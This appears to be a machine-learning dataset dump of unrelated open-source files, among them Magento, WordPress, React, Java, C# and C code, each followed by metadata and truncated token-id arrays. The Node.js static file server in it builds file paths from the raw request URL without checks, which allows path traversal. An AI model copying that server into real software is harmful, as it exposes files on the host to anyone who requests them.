*
* @method string getId()
* @method string getName()
* @method string getNumberOfDoors()
* @method string getNumberOfSeats()
* @method string getNumberOfWheels()
* @method string getTopSpeed()
*/
class Magemock_Sample_Model_Vehicle extends Mage_Core_Model_Abstract
{
/**
* Initialize resources
*
* @return void
*/
protected function _construct()
{
$this->_init('sample/vehicle');
}
/**
* @return $this
*/
protected function _beforeSave()
{
if (!$this->getName()) {
throw new DomainException("Vehicle must have a name");
}
return parent::_beforeSave();
}
/**
* Is vehicle a bile
*
* @return bool
*/
public function isBike()
{
return $this->getNumberOfWheels() == 2 &&
$this->getNumberOfDoors() == 0;
}
/**
* Load bike by name
*
* @param string $name
*
* @return $this
*/
public function loadByName($name)
{
$this->load($name, 'name');
return $this;
}
}
| jsiefer/mage-mock | sample-module/src/Magemock/Sample/Model/Vehicle.php | PHP | mit | 1,143 | [
30522,
1026,
1029,
25718,
1013,
1008,
1008,
1008,
2465,
17454,
5302,
3600,
1035,
7099,
1035,
2944,
1035,
4316,
1008,
1008,
1030,
4118,
5164,
2131,
3593,
1006,
1007,
1008,
1030,
4118,
5164,
2131,
18442,
1006,
1007,
1008,
1030,
4118,
5164,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>File: scan_rules_reader.rb</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<meta http-equiv="Content-Script-Type" content="text/javascript" />
<link rel="stylesheet" href="../.././rdoc-style.css" type="text/css" media="screen" />
<script type="text/javascript">
// <![CDATA[
function popupCode( url ) {
window.open(url, "Code", "resizable=yes,scrollbars=yes,toolbar=no,status=no,height=150,width=400")
}
function toggleCode( id ) {
if ( document.getElementById )
elem = document.getElementById( id );
else if ( document.all )
elem = eval( "document.all." + id );
else
return false;
elemStyle = elem.style;
if ( elemStyle.display != "block" ) {
elemStyle.display = "block"
} else {
elemStyle.display = "none"
}
return true;
}
// Make codeblocks hidden by default
document.writeln( "<style type=\"text/css\">div.method-source-code { display: none }</style>" )
// ]]>
</script>
</head>
<body>
<div id="fileHeader">
<h1>scan_rules_reader.rb</h1>
<table class="header-table">
<tr class="top-aligned-row">
<td><strong>Path:</strong></td>
<td>lib/scan_rules_reader.rb
</td>
</tr>
<tr class="top-aligned-row">
<td><strong>Last Update:</strong></td>
<td>Wed Dec 05 10:33:50 -0700 2007</td>
</tr>
</table>
</div>
<!-- banner header -->
<div id="bodyContent">
<div id="contextContent">
<div id="description">
<p>
scan_rules_reader.rb
</p>
<p>
LEGAL NOTICE
</p>
<hr size="10"></hr><p>
OSS Discovery is a tool that finds installed open source software.
</p>
<pre>
Copyright (C) 2007-2009 OpenLogic, Inc.
</pre>
<p>
OSS Discovery is free software: you can redistribute it and/or modify it
under the terms of the GNU Affero General Public License version 3 as
published by the Free Software Foundation.
</p>
<p>
This program is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License
version 3 (discovery2-client/license/OSSDiscoveryLicense.txt) for more
details.
</p>
<p>
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <a
href="http://www.gnu.org/licenses">www.gnu.org/licenses</a>/
</p>
<p>
You can learn more about OSSDiscovery, report bugs and get the latest
versions at <a href="http://www.ossdiscovery.org">www.ossdiscovery.org</a>.
You can contact the OSS Discovery team at info@ossdiscovery.org. You can
contact OpenLogic at info@openlogic.com.
</p>
</div>
<div id="requires-list">
<h3 class="section-bar">Required files</h3>
<div class="name-list">
set
find
rexml/document
eval_rule
expression
project_rule
match_rule_set
matchrules/binary_match_rule
matchrules/filename_match_rule
matchrules/filename_version_match_rule
matchrules/md5_match_rule
</div>
</div>
</div>
</div>
<!-- if includes -->
<div id="includes">
<h3 class="section-bar">Included Modules</h3>
<div id="includes-list">
<span class="include-name">REXML</span>
</div>
</div>
<div id="section">
<!-- if method_list -->
</div>
<div id="validator-badges">
<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
</div>
</body>
</html> | openlogic/ossdiscovery | doc/files/lib/scan_rules_reader_rb.html | HTML | agpl-3.0 | 3,939 | [
30522,
1026,
1029,
20950,
30524,
1015,
1000,
1029,
1028,
1026,
999,
9986,
13874,
16129,
2270,
1000,
1011,
1013,
1013,
1059,
2509,
2278,
1013,
1013,
26718,
2094,
1060,
11039,
19968,
1015,
1012,
1014,
17459,
1013,
1013,
4372,
1000,
1000,
8299... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
<?php
/**
* Bottom Margin Control
*
* Outputs a jquery ui slider to allow the
* user to control the bottom margin of an
* element.
*
* @package Easy_Google_Fonts
* @author Sunny Johal - Titanium Themes <support@titaniumthemes.com>
* @license GPL-2.0+
* @link http://wordpress.org/plugins/easy-google-fonts/
* @copyright Copyright (c) 2015, Titanium Themes
* @version 1.3.5
*
*/
?>
<#
// Get settings and defaults.
var egfMarginBottom = typeof egfSettings.margin_bottom !== "undefined" ? egfSettings.margin_bottom : data.egf_defaults.margin_bottom;
#>
<div class="egf-font-slider-control egf-margin-bottom-slider">
<span class="egf-slider-title"><?php _e( 'Bottom', 'easy-google-fonts' ); ?></span>
<div class="egf-font-slider-display">
<span>{{ egfMarginBottom.amount }}{{ egfMarginBottom.unit }}</span> | <a class="egf-font-slider-reset" href="#"><?php _e( 'Reset', 'easy-google-fonts' ); ?></a>
</div>
<div class="egf-clear" ></div>
<!-- Slider -->
<div class="egf-slider" value="{{ egfMarginBottom.amount }}"></div>
<div class="egf-clear"></div>
</div>
| magnusvaughan/emmettphotography | wp-content/plugins/easy-google-fonts/views/customizer/control/positioning/margin/bottom.php | PHP | gpl-2.0 | 1,101 | [
30522,
1026,
1029,
25718,
1013,
1008,
1008,
1008,
3953,
7785,
2491,
1008,
1008,
27852,
1037,
1046,
4226,
2854,
21318,
7358,
2099,
2000,
3499,
1996,
1008,
5310,
2000,
2491,
1996,
3953,
7785,
1997,
2019,
1008,
5783,
1012,
1008,
1008,
1030,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/*
* Copyright 2003 The Apache Software Foundation
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package net.sf.cglib.proxy;
/**
* {@link Enhancer} callback that simply returns the value to return
* from the proxied method. No information about what method
* is being called is available to the callback, and the type of
* the returned object must be compatible with the return type of
* the proxied method. This makes this callback primarily useful
* for forcing a particular method (through the use of a {@link CallbackFilter}
* to return a fixed value with little overhead.
*/
public interface FixedValue extends Callback {
/**
* Return the object which the original method invocation should
* return. This method is called for <b>every</b> method invocation.
* @return an object matching the type of the return value for every
* method this callback is mapped to
*/
Object loadObject() throws Exception;
}
| vongosling/cglib-ext | src/proxy/net/sf/cglib/proxy/FixedValue.java | Java | apache-2.0 | 1,472 | [
30522,
1013,
1008,
1008,
9385,
2494,
1996,
15895,
4007,
3192,
1008,
1008,
7000,
2104,
1996,
15895,
6105,
1010,
2544,
1016,
1012,
1014,
1006,
1996,
1000,
6105,
1000,
1007,
1025,
1008,
2017,
2089,
2025,
2224,
2023,
5371,
3272,
1999,
12646,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
#if NET35
using System.Net;
namespace NetMQ
{
/// <summary>
/// Placeholder for System.Net.DnsEndPoint, introduced in .NET 4.0.
/// This code is enabled for .NET 3.5 builds only, allowing compilation.
/// </summary>
internal class DnsEndPoint : EndPoint
{
public string Host { get; set; }
public int Port { get; set; }
}
}
#endif
| zeromq/NetMQ3-x | src/NetMQ/DnsEndPoint.cs | C# | lgpl-3.0 | 378 | [
30522,
1001,
2065,
5658,
19481,
2478,
2291,
1012,
5658,
1025,
3415,
15327,
5658,
2213,
4160,
1063,
1013,
1013,
1013,
1026,
12654,
1028,
1013,
1013,
1013,
2173,
14528,
2005,
2291,
1012,
5658,
1012,
1040,
29428,
18927,
25785,
1010,
3107,
1999... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
var sys = require("sys"),
my_http = require("http"),
path = require("path"),
url = require("url"),
filesys = require("fs");
my_http.createServer(function(request,response){
var my_path = url.parse(request.url).pathname;
var full_path = path.join(process.cwd(),my_path);
path.exists(full_path,function(exists){
if(!exists){
response.writeHeader(404, {"Content-Type": "text/plain"});
response.write("404 Not Found\n");
response.end();
}
else{
filesys.readFile(full_path, "binary", function(err, file) {
if(err) {
response.writeHeader(500, {"Content-Type": "text/plain"});
response.write(err + "\n");
response.end();
}
else{
response.writeHeader(200);
response.write(file, "binary");
response.end();
}
});
}
});
}).listen(8080);
sys.puts("Server Running on 8080");
| mark-hahn/node-ide | test.js | JavaScript | mit | 914 | [
30522,
13075,
25353,
2015,
1027,
5478,
1006,
1000,
25353,
2015,
1000,
1007,
1010,
2026,
1035,
8299,
1027,
5478,
1006,
1000,
8299,
1000,
1007,
1010,
4130,
1027,
5478,
1006,
1000,
4130,
1000,
1007,
1010,
24471,
2140,
1027,
5478,
1006,
1000,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
// Inject Bower components into source code
//
// grunt-wiredep: <https://github.com/stephenplusplus/grunt-wiredep>
// wiredep: <https://github.com/taptapship/wiredep>
'use strict';
module.exports = {
markups: {<% if (cfg.html) { %>
src: ['<%%= path.markups %>/**/*.html']<% } %><% if (cfg.pug) { %>
src: ['<%%= path.markups %>/**/*.{pug,jade}']<% } %><% if (cfg.modernizr) { %>,
exclude: ['bower_components/modernizr/modernizr.js']<% } %>,
// Force absolute URL
// "../bower_components/xxxx" -> "/bower_components/xxxx"
ignorePath: /(\.\.\/)*\.\.(?=\/)/<% if (cfg.pug) { %>,
// Support "*.pug" files
fileTypes: {
pug: {
block: /(([ \t]*)\/\/-?\s*bower:*(\S*))(\n|\r|.)*?(\/\/-?\s*endbower)/gi,
detect: {
js: /script\(.*src=['"]([^'"]+)/gi,
css: /link\(.*href=['"]([^'"]+)/gi
},
replace: {
js: 'script(src=\'{{filePath}}\')',
css: 'link(rel=\'stylesheet\', href=\'{{filePath}}\')'
}
}
}<% } %>
}<% if (cfg.sass || cfg.less || cfg.stylus) { %>,
styles: {<% if (cfg.sass) { %>
src: ['<%%= path.styles %>/**/*.{scss,sass}']<% } %><% if (cfg.less) { %>
src: ['<%%= path.styles %>/**/*.less']<% } %><% if (cfg.stylus) { %>
src: ['<%%= path.styles %>/**/*.styl']<% } %>,
// Import from bower_components directory
// "../bower_components/xxxx" -> "xxxx"
ignorePath: /(\.\.\/)*bower_components\//
}<% } %>
};
| rakuten-frontend/generator-rff | generators/app/templates/grunt/wiredep.js | JavaScript | mit | 1,463 | [
30522,
1013,
1013,
1999,
20614,
6812,
2121,
6177,
2046,
3120,
3642,
1013,
1013,
1013,
1013,
20696,
1011,
17502,
13699,
1024,
1026,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
4459,
24759,
2271,
24759,
2271,
1013,
20696,
1... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
package net.RPower.RPowermod.item;
import net.minecraft.item.Item;
import net.minecraft.item.ItemStack;
public class itempjPink extends Item{
public boolean hasEffect(ItemStack par1ItemStack){
return true;
}
}
| BackSpace47/main | java/net/RPower/RPowermod/item/itempjPink.java | Java | mit | 217 | [
30522,
7427,
5658,
1012,
1054,
11452,
1012,
1054,
11452,
5302,
2094,
1012,
8875,
1025,
12324,
5658,
1012,
3067,
10419,
1012,
8875,
1012,
8875,
1025,
12324,
5658,
1012,
3067,
10419,
1012,
8875,
1012,
5167,
2696,
3600,
1025,
2270,
2465,
8875,... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/*
* Favorites
* Favorites landing page
*/
import React, { Component } from 'react'
import NavBar from '../NavBar.react'
export default class Favorites extends Component {
render() {
return (
<div>
<div className="p2 overflow-scroll mt4 mb4">
<div className="center mb3">
<button className="btn bg-purple-3 white regular py1 px3">Import from Spotify</button>
</div>
<div className="h6 caps white">Your favorites</div>
<div className="border-bottom border-muted py2 mrn2 relative">
<div className="white h4 mb1">Let's Dance</div>
<div className="white muted h6 semibold">David Bowie</div>
<span className="white absolute right-0 h2 mr3" style={{top: '23px'}}>
<span className="inline-block h6 bg-teal rounded mr2 relative" style={{padding: '3px 12px', top: '-3px'}}>5 events</span>
›
</span>
</div>
<div className="border-bottom border-muted py2 mrn2 relative">
<div className="white h4 mb1">Lazarus</div>
<div className="white muted h6 semibold">David Bowie</div>
<span className="white absolute right-0 h2 mr3" style={{top: '23px'}}>
<span className="inline-block h6 bg-teal rounded mr2 relative" style={{padding: '3px 12px', top: '-3px'}}>5 events</span>
›
</span>
</div>
<div className="border-bottom border-muted py2 mrn2 relative">
<div className="white h4 mb1">Let's Dance</div>
<div className="white muted h6 semibold">David Bowie</div>
<span className="white absolute right-0 h2 mr3" style={{top: '23px'}}>
<span className="inline-block h6 bg-teal rounded mr2 relative" style={{padding: '3px 12px', top: '-3px'}}>5 events</span>
›
</span>
</div>
<div className="border-bottom border-muted py2 mrn2 relative">
<div className="white h4 mb1">Lazarus</div>
<div className="white muted h6 semibold">David Bowie</div>
<span className="white absolute right-0 h2 mr3" style={{top: '23px'}}>
<span className="inline-block h6 bg-teal rounded mr2 relative" style={{padding: '3px 12px', top: '-3px'}}>5 events</span>
›
</span>
</div>
<div className="border-bottom border-muted py2 mrn2 relative">
<div className="white h4 mb1">Let's Dance</div>
<div className="white muted h6 semibold">David Bowie</div>
<span className="white absolute right-0 h2 mr3" style={{top: '23px'}}>
<span className="inline-block h6 bg-teal rounded mr2 relative" style={{padding: '3px 12px', top: '-3px'}}>5 events</span>
›
</span>
</div>
<div className="border-bottom border-muted py2 mrn2 relative">
<div className="white h4 mb1">Lazarus</div>
<div className="white muted h6 semibold">David Bowie</div>
<span className="white absolute right-0 h2 mr3" style={{top: '23px'}}>
<span className="inline-block h6 bg-teal rounded mr2 relative" style={{padding: '3px 12px', top: '-3px'}}>5 events</span>
›
</span>
</div>
<div className="border-bottom border-muted py2 mrn2 relative">
<div className="white h4 mb1">Let's Dance</div>
<div className="white muted h6 semibold">David Bowie</div>
<span className="white absolute right-0 h2 mr3" style={{top: '23px'}}>
<span className="inline-block h6 bg-teal rounded mr2 relative" style={{padding: '3px 12px', top: '-3px'}}>5 events</span>
›
</span>
</div>
<div className="border-bottom border-muted py2 mrn2 relative">
<div className="white h4 mb1">Lazarus</div>
<div className="white muted h6 semibold">David Bowie</div>
<span className="white absolute right-0 h2 mr3" style={{top: '23px'}}>
<span className="inline-block h6 bg-teal rounded mr2 relative" style={{padding: '3px 12px', top: '-3px'}}>5 events</span>
›
</span>
</div>
</div>
<NavBar activeTab="favorites"/>
</div>
)
}
}
| chexee/karaoke-night | js/components/pages/Favorites.react.js | JavaScript | mit | 4,396 | [
30522,
1013,
1008,
1008,
20672,
1008,
20672,
4899,
3931,
1008,
1013,
12324,
10509,
1010,
1063,
6922,
1065,
2013,
1005,
10509,
1005,
12324,
6583,
26493,
2906,
2013,
1005,
1012,
1012,
1013,
6583,
26493,
2906,
1012,
10509,
1005,
9167,
12398,
2... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/* copyright(C) 2002 H.Kawai (under KL-01). */
#include <stdio.h>
#include <stdlib.h>
int GO_fputc(int c, GO_FILE *stream)
{
if (stream->p >= stream->p1)
abort();
*stream->p++ = c;
/* GOL_debuglog(1, &c); */
return (unsigned char) c;
}
| Oss9935/MakitOS | osproj/omake/tolsrc/go_0023s/go_lib/fputc.c | C | bsd-3-clause | 244 | [
30522,
1013,
1008,
9385,
1006,
1039,
1007,
2526,
1044,
1012,
10556,
21547,
1006,
2104,
1047,
2140,
1011,
5890,
1007,
1012,
1008,
1013,
1001,
2421,
1026,
2358,
20617,
1012,
1044,
1028,
1001,
2421,
1026,
2358,
19422,
12322,
1012,
1044,
1028,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
//
// PASConnectionTransformation.h
// ximber
//
// Created by Paul Samuels on 15/09/2014.
// Copyright (c) 2014 Paul Samuels. All rights reserved.
//
@import Foundation;
/**
* The connection transformation is a basic data structure that holds a block that is
* executed on each node found at the xpath
*/
@interface PASConnectionTransformation : NSObject
@property (nonatomic, copy, readonly) NSString *xPath;
@property (nonatomic, copy, readonly) NSString *(^keyTransformer)(NSString *key);
+ (instancetype)connectionTransformationWithXPath:(NSString *)xPath keyTransformer:(NSString *(^)(NSString *key))keyTransformer;
@end
| paulsamuels/ximber | ximber/Models/PASConnectionTransformation.h | C | mit | 639 | [
30522,
1013,
1013,
1013,
1013,
14674,
8663,
2638,
7542,
6494,
3619,
14192,
3370,
1012,
1044,
1013,
1013,
8418,
21784,
1013,
1013,
1013,
1013,
2580,
2011,
2703,
5212,
2015,
2006,
2321,
1013,
5641,
1013,
2297,
1012,
1013,
1013,
9385,
1006,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/*
* Copyright (c) 1998, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
/*
* @test
* @bug 4040456
* @summary Test biginteger constructor with i18n string
*/
import java.math.*;
/**
